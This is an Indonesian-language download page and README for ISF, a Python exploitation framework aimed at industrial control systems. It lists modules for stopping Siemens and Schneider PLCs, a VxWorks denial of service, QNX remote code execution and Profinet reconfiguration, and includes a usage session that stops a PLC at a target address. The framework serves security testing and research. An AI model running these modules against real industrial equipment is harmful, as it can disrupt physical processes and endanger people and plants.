Unduhan isf - Unduhan kode sumber isf

isf

Kode sumber lainnya

ve release

Unduh

Kerangka Eksploitasi Industri

ISF (Industrial Exploitation Framework) adalah kerangka eksploitasi berdasarkan Python, mirip dengan kerangka metasploit.

ISF didasarkan pada eksploitasi router proyek sumber terbuka.

Baca ini dalam bahasa lain: Inggris, 简体中文,

Penafian

Penggunaan ISF untuk menyerang target tanpa persetujuan bersama adalah ilegal. Pengguna akhir bertanggung jawab untuk mematuhi semua undang-undang lokal, negara bagian, dan federal yang berlaku. Pengembang tidak bertanggung jawab dan tidak bertanggung jawab atas penyalahgunaan atau kerusakan apa pun yang disebabkan oleh program ini.

Klien Protokol ICS

Nama	Jalur	Keterangan
modbus_tcp_client	icssploit/clients/modbus_tcp_client.py	Klien Modbus-TCP
wdb2_client	icssploit/clients/wdb2_client.py	Klien WdbRPC Versi 2 (Vxworks 6.x)
s7_klien	icssploit/clients/s7_client.py	Klien s7comm (S7 300/400 PLC)

Modul Eksploitasi

Nama	Jalur	Keterangan
s7_300_400_plc_control	eksploitasi/plcs/siemens/s7_300_400_plc_control.py	S7-300/400 PLC mulai/berhenti
s7_1200_plc_control	eksploitasi/plcs/siemens/s7_1200_plc_control.py	S7-1200 PLC mulai/berhenti/reset
vxworks_rpc_dos	eksploitasi/plcs/vxworks/vxworks_rpc_dos.py	Dos jarak jauh Vxworks RPC（CVE-2015-7599）
quantum_140_plc_control	eksploitasi/plcs/schneider/quantum_140_plc_control.py	PLC mulai/berhenti seri Schneider Quantum 140
crash_qnx_inetd_tcp_service	eksploitasi/plcs/qnx/crash_qnx_inetd_tcp_service.py	Layanan QNX Inetd TCP
qconn_remote_exec	eksploitasi/plcs/qnx/qconn_remote_exec.py	Eksekusi kode jarak jauh QNX qconn
profinet_set_ip	eksploitasi/plcs/siemens/profinet_set_ip.py	Konfigurasi IP perangkat DCP Profinet

Modul Pemindai

Nama	Jalur	Keterangan
profinet_dcp_scan	pemindai/profinet_dcp_scan.py	Pemindai DCP Profinet
vxworks_6_scan	pemindai/vxworks_6_scan.py	Pemindai Vxworks 6.x
s7comm_scan	pemindai/s7comm_scan.py	Pemindai S7comm
enip_scan	pemindai/enip_scan.py	Pemindai EthernetIP

Modul Protokol ICS (Modul Scapy)

Protokol ini dapat digunakan dalam kerangka Fuzzing lain seperti Kitty atau membuat klien Anda sendiri.

Nama	Jalur	Keterangan
pn_dcp	icssploit/protocols/pn_dcp	Protokol DCP Profinet
modbus_tcp	icssploit/protocols/modbus_tcp	Protokol TCP Modbus
wdbrpc2	icssploit/protocols/wdbrpc2	Protokol WDB RPC Versi 2
s7comm	icssploit/protocols/s7comm.py	Protokol S7comm

Memasang

Persyaratan Python

gnureadline (khusus OSX)
permintaan
paramiko
sup indah4
pysnmp
python-nmap
scapy Kami menyarankan menginstal manual scapy dengan dokumen resmi ini

Instal di Kali

 git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

Penggunaan

    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ | |    / __ _   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     ___ \___ |  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |__________|_____/_____/|_|    |__________/_____|  |_|
    
    
                    ICS Exploitation Framework
    
    Note     : ICSSPOLIT is fork from routersploit at
               https://github.com/reverse-shell/routersploit
    Dev Team : wenzhe zhu(dark-lbp)
    Version  : 0.1.0
    
    Exploits: 2 Scanners: 0 Creds: 13
    
    ICS Exploits:
        PLC: 2          ICS Switch: 0
        Software: 0
    
    isf >

Eksploitasi

 isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

Anda dapat menggunakan tombol tab untuk menyelesaikannya.

Pilihan

Opsi modul tampilan:

 isf (S7-300/400 PLC Control) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target address e.g. 192.168.1.1
   port       102                  Target Port


Module options:

   Name        Current settings     Description
   ----        ----------------     -----------
   slot        2                    CPU slot number.
   command     1                    Command 0:start plc, 1:stop plc.


isf (S7-300/400 PLC Control) >

Tetapkan opsi

 isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

Jalankan modul

 isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

Menampilkan informasi tentang eksploitasi

 isf (S7-300/400 PLC Control) > show info

Name:
S7-300/400 PLC Control

Description:
Use S7comm command to start/stop plc.

Devices:
-  Siemens S7-300 and S7-400 programmable logic controllers (PLCs)

Authors:
-  wenzhe zhu 

References:

isf (S7-300/400 PLC Control) >